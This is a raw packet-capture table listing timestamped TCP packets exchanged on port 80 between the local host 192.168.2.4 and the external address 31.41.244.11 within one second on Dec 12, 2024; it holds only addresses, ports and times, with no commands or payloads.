Dec 12, 2024 14:26:37.533085108 CET	49837	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:37.533135891 CET	49837	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:37.536815882 CET	80	49837	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:37.536947966 CET	80	49837	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:37.536957026 CET	49837	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:37.537003040 CET	49837	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:37.539803028 CET	80	49837	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:37.539846897 CET	49837	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:37.539900064 CET	80	49837	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:37.540410042 CET	49837	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:37.542730093 CET	80	49837	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:37.542874098 CET	49837	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:37.542881012 CET	80	49837	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:37.543015003 CET	49837	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:37.545941114 CET	80	49837	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:37.546035051 CET	80	49837	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:37.546056986 CET	49837	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:37.546094894 CET	49837	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:37.549202919 CET	80	49837	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:37.549309015 CET	80	49837	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:37.549339056 CET	49837	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:37.549380064 CET	49837	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:37.552485943 CET	80	49837	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:37.552534103 CET	49837	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:37.552536011 CET	80	49837	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:37.552633047 CET	49837	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:37.555711031 CET	80	49837	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:37.555768013 CET	49837	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:37.555779934 CET	80	49837	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:37.555866957 CET	49837	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:37.558964014 CET	80	49837	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:37.559036016 CET	49837	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:37.559056044 CET	80	49837	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:37.559104919 CET	49837	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:37.562500000 CET	80	49837	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:37.562566996 CET	49837	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:37.562664986 CET	80	49837	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:37.562784910 CET	49837	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:37.565579891 CET	80	49837	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:37.565654039 CET	80	49837	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:37.565671921 CET	49837	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:37.565704107 CET	49837	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:37.568764925 CET	80	49837	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:37.568799973 CET	80	49837	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:37.568850040 CET	49837	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:37.568850040 CET	49837	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:37.571918964 CET	80	49837	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:37.572009087 CET	80	49837	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:37.572012901 CET	49837	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:37.572417974 CET	49837	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:37.574966908 CET	80	49837	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:37.575033903 CET	49837	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:37.575138092 CET	80	49837	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:37.575217962 CET	49837	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:37.578082085 CET	80	49837	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:37.578140020 CET	49837	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:37.578175068 CET	80	49837	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:37.578219891 CET	49837	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:37.581099033 CET	80	49837	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:37.581140995 CET	49837	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:37.581201077 CET	80	49837	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:37.581250906 CET	49837	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:37.584383965 CET	80	49837	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:37.584466934 CET	49837	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:37.584503889 CET	80	49837	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:37.584558964 CET	49837	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:37.586553097 CET	80	49837	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:37.586602926 CET	49837	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:37.586675882 CET	80	49837	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:37.586745024 CET	49837	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:37.588702917 CET	80	49837	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:37.588745117 CET	49837	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:37.588952065 CET	80	49837	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:37.589103937 CET	49837	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:37.590415955 CET	80	49837	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:37.590471029 CET	49837	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:37.590517998 CET	80	49837	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:37.590590000 CET	49837	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:37.592219114 CET	80	49837	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:37.592263937 CET	49837	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:37.592448950 CET	80	49837	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:37.592500925 CET	49837	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:37.594060898 CET	80	49837	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:37.594192028 CET	49837	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:37.594192982 CET	80	49837	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:37.594321012 CET	49837	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:37.596038103 CET	80	49837	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:37.596107006 CET	80	49837	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:37.596112967 CET	49837	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:37.596141100 CET	49837	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:37.598148108 CET	80	49837	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:37.598215103 CET	49837	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:37.598238945 CET	80	49837	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:37.598283052 CET	49837	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:37.600133896 CET	80	49837	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:37.600220919 CET	80	49837	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:37.600248098 CET	49837	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:37.600315094 CET	49837	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:37.601922035 CET	80	49837	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:37.601968050 CET	49837	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:37.601989985 CET	80	49837	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:37.602190971 CET	49837	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:37.603605032 CET	80	49837	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:37.603650093 CET	49837	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:37.603759050 CET	80	49837	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:37.603802919 CET	49837	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:37.605406046 CET	80	49837	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:37.605503082 CET	80	49837	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:37.605542898 CET	49837	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:37.605542898 CET	49837	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:37.607121944 CET	80	49837	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:37.607167006 CET	49837	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:37.607233047 CET	80	49837	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:37.607281923 CET	49837	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:37.608963966 CET	80	49837	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:37.609019041 CET	49837	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:37.609061003 CET	80	49837	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:37.609175920 CET	49837	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:37.610866070 CET	80	49837	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:37.610953093 CET	80	49837	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:37.610986948 CET	49837	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:37.611099005 CET	49837	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:37.611099005 CET	49837	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:37.612726927 CET	80	49837	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:37.612788916 CET	49837	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:37.612863064 CET	80	49837	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:37.612921953 CET	49837	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:37.614470005 CET	80	49837	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:37.614515066 CET	80	49837	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:37.614552021 CET	49837	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:37.614552021 CET	49837	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:37.616004944 CET	80	49837	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:37.616099119 CET	49837	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:37.616120100 CET	80	49837	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:37.616164923 CET	49837	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:37.617825985 CET	80	49837	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:37.617965937 CET	49837	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:37.617971897 CET	80	49837	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:37.618027925 CET	49837	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:37.619544983 CET	80	49837	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:37.619600058 CET	49837	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:37.619668007 CET	80	49837	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:37.619980097 CET	49837	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:37.621232986 CET	80	49837	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:37.621284008 CET	49837	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:37.621309042 CET	80	49837	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:37.621360064 CET	49837	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:37.622921944 CET	80	49837	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:37.622982979 CET	49837	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:37.622997999 CET	80	49837	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:37.623138905 CET	49837	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:37.624641895 CET	80	49837	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:37.624732971 CET	49837	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:37.624871969 CET	80	49837	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:37.624916077 CET	49837	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:37.626360893 CET	80	49837	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:37.626446009 CET	80	49837	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:37.626466990 CET	49837	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:37.626558065 CET	49837	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:37.627979040 CET	80	49837	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:37.628048897 CET	80	49837	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:37.628073931 CET	49837	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:37.628309011 CET	49837	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:37.629720926 CET	80	49837	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:37.629779100 CET	80	49837	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:37.629782915 CET	49837	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:37.629838943 CET	49837	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:37.631402969 CET	80	49837	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:37.631483078 CET	49837	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:37.631525993 CET	80	49837	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:37.631592989 CET	49837	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:37.633047104 CET	80	49837	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:37.633114100 CET	49837	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:37.633126974 CET	80	49837	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:37.633253098 CET	49837	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:37.634754896 CET	80	49837	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:37.634829044 CET	49837	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:37.634910107 CET	80	49837	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:37.634993076 CET	49837	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:37.635890007 CET	80	49837	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:37.635953903 CET	49837	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:37.635962963 CET	80	49837	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:37.636173964 CET	49837	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:37.637017965 CET	80	49837	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:37.637099028 CET	80	49837	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:37.637106895 CET	49837	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:37.637145042 CET	49837	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:37.638186932 CET	80	49837	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:37.638266087 CET	80	49837	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:37.638298035 CET	49837	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:37.638355017 CET	49837	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:37.639362097 CET	80	49837	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:37.639415979 CET	49837	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:37.639452934 CET	80	49837	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:37.639585972 CET	49837	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:37.640455961 CET	80	49837	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:37.640554905 CET	49837	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:37.640556097 CET	80	49837	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:37.640646935 CET	49837	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:37.641643047 CET	80	49837	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:37.641848087 CET	80	49837	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:37.641896009 CET	49837	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:37.641896009 CET	49837	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:37.642841101 CET	80	49837	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:37.642884970 CET	49837	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:37.643023014 CET	80	49837	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:37.643088102 CET	49837	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:37.644104958 CET	80	49837	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:37.644252062 CET	80	49837	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:37.644301891 CET	49837	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:37.644301891 CET	49837	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:37.645153999 CET	80	49837	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:37.645266056 CET	80	49837	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:37.645287037 CET	49837	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:37.645328045 CET	49837	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:37.646280050 CET	80	49837	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:37.646322012 CET	49837	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:37.646414042 CET	80	49837	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:37.646564960 CET	49837	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:37.647463083 CET	80	49837	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:37.647517920 CET	80	49837	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:37.647526026 CET	49837	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:37.647567987 CET	49837	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:37.648673058 CET	80	49837	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:37.648720026 CET	49837	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:37.648724079 CET	80	49837	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:37.648812056 CET	49837	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:37.649764061 CET	80	49837	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:37.649842024 CET	80	49837	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:37.649887085 CET	49837	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:37.649887085 CET	49837	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:37.650959969 CET	80	49837	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:37.650999069 CET	49837	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:37.651068926 CET	80	49837	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:37.651123047 CET	49837	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:37.652060032 CET	80	49837	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:37.652115107 CET	49837	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:37.652132034 CET	80	49837	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:37.652167082 CET	49837	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:37.653270960 CET	80	49837	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:37.653402090 CET	49837	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:37.653402090 CET	80	49837	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:37.653477907 CET	49837	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:37.654423952 CET	80	49837	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:37.654481888 CET	80	49837	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:37.654530048 CET	49837	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:37.654530048 CET	49837	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:37.655473948 CET	80	49837	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:37.655517101 CET	49837	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:37.655688047 CET	80	49837	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:37.655747890 CET	49837	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:37.656653881 CET	80	49837	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:37.656683922 CET	49837	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:37.656723022 CET	80	49837	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:37.656833887 CET	49837	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:37.657803059 CET	80	49837	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:37.657912970 CET	49837	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:37.658035040 CET	80	49837	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:37.658088923 CET	49837	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:37.659023046 CET	80	49837	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:37.659123898 CET	80	49837	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:37.659140110 CET	49837	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:37.659198046 CET	49837	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:37.660098076 CET	80	49837	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:37.660170078 CET	49837	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:37.660234928 CET	80	49837	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:37.660278082 CET	49837	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:37.661209106 CET	80	49837	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:37.661252975 CET	49837	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:37.661283016 CET	80	49837	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:37.661324978 CET	49837	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:37.662410021 CET	80	49837	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:37.662478924 CET	80	49837	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:37.662480116 CET	49837	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:37.662694931 CET	49837	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:37.663764954 CET	80	49837	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:37.663839102 CET	80	49837	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:37.663860083 CET	49837	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:37.663930893 CET	49837	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:37.664830923 CET	80	49837	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:37.664891958 CET	80	49837	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:37.664916039 CET	49837	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:37.664947987 CET	49837	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:37.665715933 CET	80	49837	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:37.665782928 CET	80	49837	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:37.665827036 CET	49837	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:37.665827036 CET	49837	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:37.666832924 CET	80	49837	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:37.666884899 CET	49837	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:37.666941881 CET	80	49837	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:37.667023897 CET	49837	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:37.668415070 CET	80	49837	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:37.668519974 CET	80	49837	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:37.668541908 CET	49837	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:37.668667078 CET	49837	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:37.669944048 CET	80	49837	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:37.670027971 CET	80	49837	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:37.670053005 CET	49837	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:37.670088053 CET	49837	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:37.670819998 CET	80	49837	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:37.670989990 CET	80	49837	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:37.671031952 CET	49837	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:37.671031952 CET	49837	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:37.672326088 CET	80	49837	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:37.672406912 CET	49837	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:37.672435999 CET	80	49837	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:37.672477961 CET	49837	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:37.673407078 CET	80	49837	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:37.673463106 CET	80	49837	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:37.673479080 CET	49837	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:37.673542976 CET	49837	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:37.711304903 CET	80	49837	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:37.711401939 CET	49837	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:37.711410046 CET	80	49837	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:37.711463928 CET	49837	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:37.711769104 CET	80	49837	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:37.711868048 CET	49837	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:37.711877108 CET	80	49837	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:37.712150097 CET	49837	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:37.712836981 CET	80	49837	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:37.712898016 CET	49837	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:37.712941885 CET	80	49837	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:37.712992907 CET	49837	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:37.713954926 CET	80	49837	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:37.714204073 CET	80	49837	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:37.714225054 CET	49837	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:37.714297056 CET	49837	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:37.715060949 CET	80	49837	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:37.715081930 CET	80	49837	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:37.715147018 CET	49837	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:37.715147018 CET	49837	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:37.716120005 CET	80	49837	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:37.716217041 CET	49837	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:37.716224909 CET	80	49837	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:37.716276884 CET	49837	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:37.717190027 CET	80	49837	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:37.717241049 CET	49837	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:37.717304945 CET	80	49837	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:37.717349052 CET	49837	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:37.718319893 CET	80	49837	31.41.244.11	192.168.2.4
